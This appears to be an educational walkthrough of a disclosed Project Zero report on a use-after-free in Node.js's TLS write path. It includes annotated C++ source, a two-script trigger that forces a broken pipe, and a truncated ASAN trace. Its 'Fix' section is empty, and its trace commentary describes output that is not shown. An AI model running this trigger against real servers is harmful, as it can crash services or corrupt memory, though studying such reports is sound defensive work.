The bug is a use-after-free. To understand the name, imagine a hotel: you check out of room 12, hand back the key, and then a minute later you walk back into room 12 and start rearranging the furniture. The room is no longer yours. If nobody has moved in yet, nothing visible happens. If a new guest has moved in, you are now messing with their belongings. In a computer, a use-after-free means a program has told the operating system "I am done with this block of memory, you can reuse it", and then keeps reading or writing that same block as if it still owned it. Sometimes nothing happens; sometimes the program crashes; sometimes an attacker can arrange for the reused memory to contain something they control, and the program then does something the attacker wanted.

The memory block in question is a small internal object called a WriteWrap. Node creates one every time JavaScript asks to write data to a network connection. The object tracks that write until it finishes. The report shows that in one specific situation, the HTTPS code frees this object and then tells its caller that everything went fine, so the caller keeps using the freed object. The report lists the impact as remote code execution. On an ordinary Linux build the bug does not crash the program, and the report explains why, and what would have to line up for it to become exploitable.

Background: the pieces involved

Before the details, here are the concepts the report relies on, explained from zero.

  • Node.js: a runtime that executes JavaScript. It is built on top of a C++ engine called V8 (the same engine inside Google Chrome) and a C++ library called libuv that handles network and file operations. Much of Node itself is written in C++.
  • TLS: Transport Layer Security, the encryption layer behind HTTPS. When your browser opens https://, it and the server first perform a handshake in which they agree on keys and the server proves its identity with a certificate. After that, everything sent over the connection is encrypted.
  • Socket: one end of a network connection. Think of it as a phone handset: while the call is up, you can talk and listen; when either side hangs up, the other side finds out.
  • Stream: an abstraction for "a sequence of bytes moving in one direction". A socket is a stream, a file is a stream, and a TLS connection is a stream that wraps another stream (the raw socket) and encrypts what passes through it.
  • API: Application Programming Interface, the set of functions one piece of software offers to another. When JavaScript calls socket.write(...), it is using Node's API; underneath, that call travels through several layers of C++ functions.
  • Pointer: a number that says where in memory something lives. A dangling pointer is one that still points at a location whose contents have been freed.
  • Heap: the pool of memory a program uses for objects it creates while running. When an object is freed, its space goes back to the heap and can be handed to something else later.
  • ASAN: AddressSanitizer, a debugging tool built into some compilers. You compile a program with ASAN enabled and it adds checks around every memory access, so that reading or writing freed memory is caught immediately and reported with a detailed trace, instead of silently doing nothing. It is slow, so it is used for testing, not for production.
  • Broken pipe: the error you get when you write to a connection whose other end has already closed. Like speaking into a phone after the other person hung up.
  • Keep-alive: an HTTP feature where one connection is reused for several requests instead of opening a new one each time.
  • Remote code execution (RCE): the worst class of security impact, where an attacker can make the target computer run commands of the attacker's choosing.

Context: how a write travels through Node

Node implements TLS on top of its stream abstraction. When JavaScript writes to a TLS enabled socket, the write is routed through node::StreamBase::Write, which allocates a WriteWrap object and hands it to the stream implementation's DoWrite method. For TLS sockets that implementation is node::TLSWrap::DoWrite. The contract is simple: if DoWrite returns an error, the caller disposes of the WriteWrap; if it returns success, the caller keeps the object and returns it to the caller inside a StreamWriteResult structure.

In plain words: there is an agreed rule between two functions. The outer function creates a small parcel (the WriteWrap), gives it to the inner function, and says: "if you fail, I will throw the parcel away; if you succeed, I will keep it and pass it on". The bug is that the inner function sometimes throws the parcel away itself and still reports success, so the outer function keeps a parcel that no longer exists.

The report describes a use-after-free in that contract on Node v14.11.0 (Current). The WriteWrap can be freed inside TLSWrap::DoWrite while DoWrite still returns success, so the caller ends up holding and using a dangling pointer.

Setup

The researcher tested against Node v14.11.0 (Current). The proof of concept consists of two small scripts: an HTTPS server (server.js) and a client (poc.js). The crash was observed when server.js was run on an ASAN enabled build of Node.js. No other tooling, accounts or roles are involved.

A proof of concept, usually shortened to PoC, is a minimal recipe that demonstrates a bug: the smallest set of steps that reliably shows the problem exists. Here it is two files you run on your own machine, one acting as the server and one as the client.

Finding it

The starting point is the allocation and error handling in node::StreamBase::Write:

Text
// stream_base-inl.h
WriteWrap* req_wrap = CreateWriteWrap(req_wrap_obj);

err = DoWrite(req_wrap, bufs, count, send_handle);
bool async = err == 0;

if (!async) {
  req_wrap->Dispose();
  req_wrap = nullptr;
}

const char* msg = Error();
if (msg != nullptr) {
  req_wrap_obj->Set(env->context(),
                    env->error_string(),
                    OneByteString(env->isolate(), msg)).Check();
  ClearError();
}

return StreamWriteResult { async, err, req_wrap, total_bytes };

Line by line:

  1. WriteWrap* req_wrap = CreateWriteWrap(req_wrap_obj); creates the parcel. req_wrap is a pointer to the new WriteWrap object.
  2. err = DoWrite(req_wrap, bufs, count, send_handle); hands the parcel to the inner function, along with the data to write (bufs, count) and the socket (send_handle). The return value is stored in err.
  3. bool async = err == 0; turns the result into a yes/no: zero means success, anything else means failure. The name async means "the write is still in progress and will finish later".
  4. if (!async) { req_wrap->Dispose(); req_wrap = nullptr; } is the failure branch: if the inner function reported an error, the outer function throws the parcel away itself and clears its pointer, so nobody can use it by accident.
  5. The Error() block copies any pending error message onto the JavaScript object that the caller passed in, so JavaScript code can read it.
  6. return StreamWriteResult { async, err, req_wrap, total_bytes }; packages the outcome: whether it is still in progress, the error code, the parcel, and how many bytes were written.

The WriteWrap is only disposed by the caller when DoWrite returns a non-zero error. Otherwise the object is passed back as part of the StreamWriteResult.

The problem is that TLSWrap::DoWrite can trigger a free of the WriteWrap object without returning an error, when the EncOut() call at the end of the method fails. EncOut() calls underlying_stream()->Write() to write TLS encrypted data to the network socket. If that write fails, InvokeQueued() is called and the function returns immediately:

Text
// tls_wrap.cc
// Write any encrypted/handshake output that may be ready.
// Guard against sync call of current_write_->Done(), its unsupported.
in_dowrite_ = true;
EncOut();
in_dowrite_ = false;

return 0;

// tls_wrap.cc
void TLSWrap::EncOut() {
[...]

Debug(this, "Writing %zu buffers to the underlying stream", count);
StreamWriteResult res = underlying_stream()->Write(bufs, count);
if (res.err != 0) {
  InvokeQueued(res.err);
  return;
}
[..]

Line by line:

  1. in_dowrite_ = true; sets a flag saying "we are currently inside a write". The comment above explains why: the code wants to guard against a synchronous call of current_write_->Done(), which is not supported. In plain words, it is a "do not re-enter" sign on the door.
  2. EncOut(); is the call that takes the data to be sent and pushes the encrypted bytes down to the real socket.
  3. in_dowrite_ = false; clears the flag again.
  4. return 0; reports success to the caller, no matter what happened inside EncOut().
  5. Inside EncOut(), StreamWriteResult res = underlying_stream()->Write(bufs, count); performs the actual write to the raw socket underneath the TLS layer.
  6. if (res.err != 0) { InvokeQueued(res.err); return; } handles failure: it calls InvokeQueued with the error and returns from EncOut() early.

Note the return 0 after EncOut(): whatever happened inside EncOut(), DoWrite reports success to its caller.

InvokeQueued() triggers an immediate free of the req_wrap WriteWrap* object via the following call chain:

Text
node::TLSWrap::InvokeQueued -> node::StreamReq::Done -> node::WriteWrap::OnDone
-> node::StreamReq::Dispose -> node::BaseObjectPtrImpl<node::AsyncWrap, false>::~BaseObjectPtrImpl()
-> node::BaseObject::decrease_refcount() -> node::SimpleWriteWrap<node::AsyncWrap>::~SimpleWriteWrap()

This is a chain of function calls, each one calling the next, like a row of dominoes. Read it left to right: InvokeQueued calls Done, which calls OnDone, which calls Dispose, which runs a destructor (~BaseObjectPtrImpl), which decreases a reference count, which finally runs the destructor of the SimpleWriteWrap object. A destructor is the function that runs when an object is destroyed; the ~ prefix is C++ notation for it. A reference count is a tally of how many parts of the program are using an object; when it reaches zero, the object is deleted. The last domino is the deletion of the very WriteWrap the outer function is still holding.

Making underlying_stream()->Write fail is as easy as closing the socket at the other side of the connection just before the write, to trigger a broken pipe error.

Because node::TLSWrap::DoWrite doesn't return an error code, node::StreamBase::Write returns the freed WriteWrap object as part of its StreamWriteResult. For calls by node::StreamBase::WriteV, this immediately triggers a use-after-free when the SetAllocatedStorage() method is called on the freed object:

Text
// stream_base.cc
StreamWriteResult res = Write(*bufs, count, nullptr, req_wrap_obj);
SetWriteResult(res);
if (res.wrap != nullptr && storage_size > 0) {
  res.wrap->SetAllocatedStorage(std::move(storage));
}

Line by line:

  1. StreamWriteResult res = Write(*bufs, count, nullptr, req_wrap_obj); performs the write and receives the result package, including the pointer to the parcel.
  2. SetWriteResult(res); records that result on the current object.
  3. if (res.wrap != nullptr && storage_size > 0) { checks that there is a parcel and that some storage needs to be attached to it.
  4. res.wrap->SetAllocatedStorage(std::move(storage)); reaches through the pointer and writes into the parcel. If the parcel has already been freed, this is the use-after-free: the program is writing into memory it no longer owns.

Exploitation

Step 1: run a TLS server

The bug can be easily triggered against a simple Node HTTPS server application. server.js creates an HTTPS server with an inline EC key and certificate and listens on port 4444:

JavaScript
const https = require('https');

const key = `-----BEGIN EC PARAMETERS-----
BggqhkjOPQMBBw==
-----END EC PARAMETERS-----
-----BEGIN EC PRIVATE KEY-----
[redacted]/gUNpsUpkwgGACoAoGCCqGSM49
AwEHoUQDQgAEItqm+pYj3Ca8bi5mBs+H8xSMxuW2JNn4I+kw3aREsetLk8pn3o81
PWBiTdSZrGBGQSy+UAlQvYeE6Z/QXQk8aw==
-----END EC PRIVATE KEY-----`

const cert = `-----BEGIN CERTIFICATE-----
MIIBhjCCASsCFDJU1tCo88NYU//pE+[redacted]
[redacted]
[redacted]
[redacted]
[redacted]
QgAEItqm+pYj3Ca8bi5mBs+H8xSMxuW2JNn4I+kw3aREsetLk8pn3o81PWBiTdSZ
rGBGQSy+UAlQvYeE6Z/[redacted]
Y/ABy/[redacted]+
glj2R1NNr1X68w==
-----END CERTIFICATE-----`

const options = {
  key: key,
  cert: cert,
};

https.createServer(options, function (req, res) {
  res.writeHead(200);
  res.end("hello world\n");
}).listen(4444);

Line by line:

  1. const https = require('https'); loads Node's built-in HTTPS module, the part of Node that knows how to speak encrypted HTTP.
  2. const key = ... and const cert = ... are two text blocks holding a private key and a matching certificate. A certificate is the digital ID a server shows to prove who it is; the private key is the secret half that proves the server owns that ID. These are test values generated for the proof of concept, not a real identity.
  3. const options = { key: key, cert: cert }; bundles them into a settings object.
  4. https.createServer(options, function (req, res) { ... }) creates the server. The function is the request handler: it runs for every incoming request.
  5. res.writeHead(200); sends the HTTP status line with code 200, which means "OK".
  6. res.end("hello world\n"); sends the body and finishes the response.
  7. .listen(4444); starts accepting connections on port 4444. A port is a numbered door on a computer; different services listen on different doors.

The handler answers every request with 200 and the body hello world. The key and certificate are only there to make the server speak TLS.

Step 2: connect, send requests, then close

poc.js connects to the server, sends three keep-alive HTTP requests, and destroys the socket as soon as any data comes back:

JavaScript
const tls = require('tls')

var socket = tls.connect(4444, 'localhost', {rejectUnauthorized : false}, () => {
  console.log("connected")
  socket.write("GET / HTTP/1.1\r\nHost: localhost\r\nConnection: Keep-alive\r\n\r\n")
  socket.write("GET / HTTP/1.1\r\nHost: localhost\r\nConnection: Keep-alive\r\n\r\n")
  socket.write("GET / HTTP/1.1\r\nHost: localhost\r\nConnection: Keep-alive\r\n\r\n")
})

socket.on('data', () => {
  socket.destroy()
})

Line by line:

  1. const tls = require('tls') loads Node's TLS module, the lower level piece that the HTTPS module is built on.
  2. var socket = tls.connect(4444, 'localhost', {rejectUnauthorized : false}, () => { ... }) opens a TLS connection to port 4444 on localhost, meaning this same computer. The third argument is an options object; rejectUnauthorized : false tells the client not to check the server's certificate. The last argument is a callback that runs once the connection is established.
  3. console.log("connected") prints a message so you can see the connection worked.
  4. The three socket.write(...) lines each send one HTTP request. GET / HTTP/1.1 asks for the root page; Host: localhost says which site is wanted; Connection: Keep-alive asks the server to keep the connection open for further requests. \r\n is the carriage return plus line feed pair that HTTP uses to end a line, and the empty line at the end marks the end of the request. Sending three in a row without waiting is called pipelining.
  5. socket.on('data', () => { socket.destroy() }) registers a handler that runs whenever data arrives from the server. It immediately calls socket.destroy(), which closes the client's end of the connection.

The client disables certificate verification with rejectUnauthorized : false, which is fine for a local test. The three pipelined requests keep the server writing responses. The data handler calls socket.destroy(), closing the client side of the connection. The next time the server writes encrypted data to that socket, the underlying write fails with a broken pipe, which is exactly the condition needed to reach the vulnerable path.

Why this matters: the server is still busy answering the three requests when the client hangs up. The server's next attempt to send encrypted bytes hits a closed connection, EncOut() fails, InvokeQueued() runs, the WriteWrap is freed, and DoWrite still says "success".

Step 3: observe the crash under ASAN

The POC triggers a crash when server.js is run on an ASAN enabled build of node.js:

Text
==1408671==ERROR: AddressSanitizer: heap-use-after-free on address 0x608000011138 at pc 0x0000011929b6 bp 0x7ffc8c2243f0 sp 0x7ffc8c2243e8
READ of size 8 at 0x608000011138 thread T0
    #0 0x11929b5 in std::__uniq_ptr_impl<v8::BackingStore, std::default_delete<v8::BackingStore> >::_M_ptr() const /usr/bin/../lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/unique_ptr.h:154:42
    #1 0x1192974 in std::unique_ptr<v8::BackingStore, std::default_delete<v8::BackingStore> >::get() const /usr/bin/../lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/unique_ptr.h:361:21
    #2 0x1193fb4 in std::unique_ptr<v8::BackingStore, std::default_delete<v8::BackingStore> >::operator bool() const /usr/bin/../lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/unique_ptr.h:375:16
    #3 0x1190415 in node::AllocatedBuffer::data() /pwd/out/../src/allocated_buffer-inl.h:79:8
    #4 0x16f8a79 in node::WriteWrap::SetAllocatedStorage(node::AllocatedBuffer&&) /pwd/out/../src/stream_base-inl.h:247:3
    #5 0x16f1141 in node::StreamBase::Writev(v8::FunctionCallbackInfo<v8::Value> const&) /pwd/out/../src/stream_base.cc:172:15
    #6 0x16faa47 in void node::StreamBase::JSMethod<&(node::StreamBase::Writev(v8::FunctionCallbackInfo<v8::Value> const&))>(v8::FunctionCallbackInfo<v8::Value> const&) /pwd/out/../src/stream_base.cc:468:29
    #7 0x1caf642 in v8::internal::FunctionCallbackArguments::Call(v8::internal::CallHandlerInfo) /pwd/out/../deps/v8/src/api/api-arguments-inl.h:158:3
    #8 0x1cabfaf in v8::internal::MaybeHandle<v8::internal::Object> v8::internal::(anonymous namespace)::HandleApiCallHelper<false>(v8::internal::Isolate*, v8::internal::Handle<v8::internal::HeapObject>, v8::internal::Handle<v8::internal::HeapObject>, v8::internal::Handle<v8::internal::FunctionTemplateInfo>, v8::internal::Handle<v8::internal::Object>, v8::internal::BuiltinArguments) /pwd/out/../deps/v8/src/builtins/builtins-api.cc:111:36
    #9 0x1ca8f8a in v8::internal::Builtin_Impl_HandleApiCall(v8::internal::BuiltinArguments, v8::internal::Isolate*) /pwd/out/../deps/v8/src/builtins/builtins-api.cc:141:5
    #10 0x1ca81e0 in v8::internal::Builtin_HandleApiCall(int, unsigned long*, v8::internal::Isolate*) /pwd/out/../deps/v8/src/builtins/builtins-api.cc:129:1
    #11 0x3e096df in [redacted] (/p0/node/node-v14.11.0/out/Debug/node+0x3e096df)

0x608000011138 is located 24 bytes inside of 88-byte region [0x608000011120,0x608000011178)
freed by thread T0 here:
    #0 0xe79b1d in operator delete(void*) (/p0/node/node-v14.11.0/out/Debug/node+0xe79b1d)
    #1 0x1707177 in node::SimpleWriteWrap<node::AsyncWrap>::~SimpleWriteWrap() /pwd/out/../src/stream_base.h:418:7
    #2 0xf943be in node::BaseObject::decrease_refcount() /pwd/out/../src/base_object-inl.h:203:7
    #3 0x10886e6 in node::BaseObjectPtrImpl<node::AsyncWrap, false>::~BaseObjectPtrImpl() /pwd/out/../src/base_object-inl.h:248:12
    #4 0x13c2a3c in node::StreamReq::Dispose() /pwd/out/../src/stream_base-inl.h:40:1
    #5 0x16f794c in node::WriteWrap::OnDone(int) /pwd/out/../src/stream_base.cc:591:3
    #6 0x10e71f8 in node::StreamReq::Done(int, char const*) /pwd/out/../src/stream_base-inl.h:261:3
    #7 0x1921f95 in node::TLSWrap::InvokeQueued(int, char const*) /pwd/out/../src/tls_wrap.cc:101:8
    #8 0x1927f39 in node::TLSWrap::EncOut() /pwd/out/../src/tls_wrap.cc:356:5
    #9 0x192e258 in node::TLSWrap::DoWrite(node::WriteWrap*, uv_buf_t*, unsigned long, uv_stream_s*) /pwd/out/../src/tls_wrap.cc:820:3
    #10 0x13b50dd in node::StreamBase::Write(uv_buf_t*, unsigned long, uv_stream_s*, v8::Local<v8::Object>) /pwd/out/../src/stream_base-inl.h:193:9
    #11 0x16f108f in node::StreamBase::Writev(v8::FunctionCallbackInfo<v8::Value> const&) /pwd/out/../src/stream_base.cc:169:27
    #12 0x16faa47 in void node::StreamBase::JSMethod<&(node::StreamBase::Writev(v8::FunctionCallbackInfo<v8::Value> const&))>(v8::FunctionCallbackInfo<v8::Value> const&) /pwd/out/../src/stream_base.cc:468:29
    #13 0x1caf642 in v8::internal::FunctionCallbackArguments::Call(v8::internal::CallHandlerInfo) /pwd/out/../deps/v8/src/api/api-arguments-inl.h:158:3
    #14 0x1cabfaf in v8::internal::MaybeHandle<v8::internal::Object> v8::internal::(anonymous namespace)::HandleApiCallHelper<false>(v8::internal::Isolate*, v8::internal::Handle<v8::internal::HeapObject>, v8::internal::Handle<v8::internal::HeapObject>, v8::internal::Handle<v8::internal::FunctionTemplateInfo>, v8::internal::Handle<v8::internal::Object>, v8::internal::BuiltinArguments) /pwd/out/../deps/v8/src/builtins/builtins-api.cc:111:36
    #15 0x1ca8f8a in v8::internal::Builtin_Impl_HandleApiCall(v8::internal::BuiltinArguments, v8::internal::Isolate*) /pwd/out/../deps/v8/src/builtins/builtins-api.cc:141:5
    #16 0x1ca81e0 in v8::internal::Builtin_HandleApiCall(int, unsigned long*, v8::internal::Isolate*) /pwd/out/../deps/v8/src/builtins/builtins-api.cc:129:1
    #17 0x3e096df in [redacted] (/p0/node/node-v14.11.0/out/Debug/node+0x3e096df)

previously allocated by thread T0 here:
    #0 0xe792bd in operator new(unsigned long) (/p0/node/node-v14.11.0/out/Debug/node+0xe792bd)
    #1 0x16f81c2 in node::StreamBase::CreateWriteWrap(v8::Local<v8::Object>) /pwd/out/../src/stream_base.cc:629:10
    #2 0x13b4fb0 in node::StreamBase::Write(uv_buf_t*, unsigned long, uv_stream_s*, v8::Local<v8::Object>) /pwd/out/../src/stream_base-inl.h:191:25
    #3 0x16f108f in node::StreamBase::Writev(v8::FunctionCallbackInfo<v8::Value> const&) /pwd/out/../src/stream_base.cc:169:27
    #4 0x16faa47 in void node::StreamBase::JSMethod<&(node::StreamBase::Writev(v8::FunctionCallbackInfo<v8::Value> const&))>(v8::FunctionCallbackInfo<v8::Value> const&) /pwd/out/../src/stream_base.cc:468:29
    #5 0x1caf642 in v8::internal::FunctionCallbackArguments::Call(v8::internal::CallHandlerInfo) /pwd/out/../deps/v8/src/api/api-arguments-inl.h:158:3
    #6 0x1cabfaf in v8::internal::May

This output looks intimidating but it follows a fixed pattern. Here is how to read it:

  1. The first line is the verdict: AddressSanitizer: heap-use-after-free on address 0x608000011138. ASAN has caught the program touching memory that was already freed. READ of size 8 says it was reading 8 bytes, and thread T0 says which thread did it.
  2. The first numbered list is the use stack: the chain of function calls that led to the bad read. Read it from the bottom up, because the bottom is the outermost call. Builtins_CEntry... is the JavaScript engine entering C++; node::StreamBase::Writev is the write function; node::WriteWrap::SetAllocatedStorage is where the read happens; the top frames are inside a unique_ptr, a C++ helper that owns a pointer and checks whether it is set.
  3. 0x608000011138 is located 24 bytes inside of 88-byte region tells you the address being touched sits 24 bytes into a block of 88 bytes. That block is the WriteWrap.
  4. The second list is the free stack: who freed the memory. Again read bottom up: node::TLSWrap::DoWrite called node::TLSWrap::EncOut, which called node::TLSWrap::InvokeQueued, which led through Done, OnDone, Dispose, a reference count decrease, and finally the destructor ~SimpleWriteWrap, which called operator delete to hand the memory back.
  5. The third list is the allocation stack: who created the memory in the first place. node::StreamBase::CreateWriteWrap allocated it, called from node::StreamBase::Write.
  6. SUMMARY repeats the verdict in one line. The Shadow bytes section is ASAN's internal map of which memory is valid and which is not; fd means "freed heap region" and fa means a redzone, a guard area ASAN places around allocations. The arrow => marks the byte that was touched. The legend at the bottom explains each code.
  7. ==1408671==ABORTING means ASAN stopped the program on purpose, because continuing would be unsafe.

The report shows the read happening in node::WriteWrap::SetAllocatedStorage, reached from node::StreamBase::Writev. The free stack shows the object being destroyed through node::TLSWrap::InvokeQueued and node::TLSWrap::EncOut inside node::TLSWrap::DoWrite, and the allocation stack shows it being created by node::StreamBase::CreateWriteWrap. The freed region is 88 bytes, and the faulting address is 24 bytes inside it.

Root cause

TLSWrap::DoWrite calls EncOut() and then unconditionally returns 0. When EncOut()'s write to the underlying stream fails, InvokeQueued() runs the Done/OnDone/Dispose chain synchronously and destroys the WriteWrap that was passed in. The caller in StreamBase::Write sees a success return, so it does not dispose the object itself and instead returns the now dangling pointer in the StreamWriteResult. StreamBase::WriteV then calls SetAllocatedStorage() on that freed object.

In everyday terms: the inner function was supposed to say "I failed" when the network write failed, so the outer function would clean up. Instead it cleaned up itself and still said "all good", so the outer function carried on with something that no longer existed.

Under normal circumstances and without an ASAN enabled build, the UAF doesn't trigger a crash on Linux, as the freed memory won't get reallocated in time and the write in SetAllocatedStorage corrupts chunk metadata that isn't used for small chunks. The researcher suggests this is the only reason the bug wasn't spotted earlier, since the broken pipe error path should be hit pretty often in the real world. The issue might still be exploitable with the right heap layout (if the WriteWrap chunk is merged with a larger chunk during the free), different heap implementations and/or some other control flow that allows to allocate something before the reuse.

To unpack that: the heap is managed by an allocator, a piece of software that hands out blocks of memory and takes them back. Each block carries a little bookkeeping header, called metadata, describing its size and whether it is free. Writing into a freed block can damage that bookkeeping. For small blocks the damaged part may simply never be consulted, so nothing visible happens. ASAN, by contrast, deliberately poisons freed memory and checks every access, which is why the bug shows up instantly there and not on a normal build. Exploiting it would require making the freed block get reused by something the attacker can influence, which depends on how the allocator arranges memory and on what the program does between the free and the reuse.

Impact

The report states the impact as remote code execution. The trigger is closing the socket at the other side of the connection just before the server writes, which produces a broken pipe and reaches the vulnerable path. In practice, on a normal Linux build the corruption described above does not crash the process, and turning it into code execution depends on heap layout, the allocator in use and the ability to allocate before the freed chunk is reused.

That is what makes a memory bug in a server's network handling serious.

Fix

The report does not describe a fix or a patch. The defect it identifies is the unconditional return 0 in TLSWrap::DoWrite after EncOut():

Variants to test

These are follow-up ideas for anyone hunting for similar bugs elsewhere in the codebase. Each one names a place to look and what a positive result would look like.

  1. Other stream implementations that call back into user or completion code synchronously from inside DoWrite and then return success. A positive result is a WriteWrap freed on the InvokeQueued path while the caller still receives it in a StreamWriteResult.
  2. Write paths that reach SetAllocatedStorage, such as WriteV with a non-zero storage size. A positive result is an ASAN report pointing at node::WriteWrap::SetAllocatedStorage reading freed memory.
  3. Error paths other than broken pipe that make underlying_stream()->Write fail during EncOut(). A positive result is the same free-then-use sequence in the stack trace.
  4. Heap layouts where the freed WriteWrap chunk is merged with a larger chunk, or allocators other than the default Linux one. A positive result is a crash or controlled corruption on a non-ASAN build, which the report says does not happen under normal circumstances.

Credits: Felix Wilhelm of Google Project Zero. The report notes that the bug is subject to a 90 day disclosure deadline, with a scheduled disclosure date of 2020-12-21, and that earlier disclosure is possible if agreed upon by all parties. A disclosure deadline is a convention in security research: the finder gives the vendor a fixed period to fix the problem before the details become public.

Glossary

  • API: Application Programming Interface, the set of functions one piece of software offers to another so they can work together.
  • ASAN (AddressSanitizer): a debugging tool that instruments a program to detect invalid memory accesses such as use-after-free, and reports them with a stack trace.
  • Allocator: the part of a runtime that hands out blocks of memory and takes them back when they are freed.
  • Broken pipe: the error produced by writing to a connection whose other end has already closed.
  • Certificate: a digital document a server presents to prove its identity during a TLS handshake.
  • Chunk metadata: the small bookkeeping header the allocator keeps next to each block of memory, describing its size and state.
  • Dangling pointer: a pointer that still refers to a memory location whose contents have already been freed.
  • Destructor: the function that runs when an object is destroyed, written with a ~ prefix in C++.
  • Disclosure deadline: an agreed period after which details of a reported vulnerability are made public, here 90 days.
  • Heap: the pool of memory a program uses for objects created while it runs.
  • HTTPS: HTTP carried over TLS, so the traffic is encrypted and the server is authenticated.
  • Keep-alive: an HTTP feature where one connection is reused for several requests.
  • libuv: the C library Node.js uses for networking and other operating system work.
  • Node.js: a runtime that executes JavaScript outside the browser, commonly used for servers.
  • Pointer: a value that says where in memory something is stored.
  • Port: a numbered endpoint on a computer that a network service listens on.
  • Proof of concept (PoC): a minimal set of steps or files that reliably demonstrates a bug.
  • Reference count: a tally of how many parts of a program are using an object; the object is deleted when the count reaches zero.
  • Remote code execution (RCE): an impact where an attacker can make the target computer run code of their choosing.
  • Socket: one end of a network connection.
  • Stream: an abstraction for a sequence of bytes moving in one direction, such as a socket or a file.
  • TLS (Transport Layer Security): the encryption protocol behind HTTPS, which performs a handshake and then encrypts the connection.
  • Use-after-free (UAF): a bug where a program keeps using memory after it has been freed, which can cause crashes or, with the right conditions, code execution.
  • V8: the JavaScript engine inside Node.js and Google Chrome.
  • WriteWrap: the internal Node object that tracks a single write operation until it completes.

More by fwilhelm

View all

1 more disclosed report, best first.

More from Node.js

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.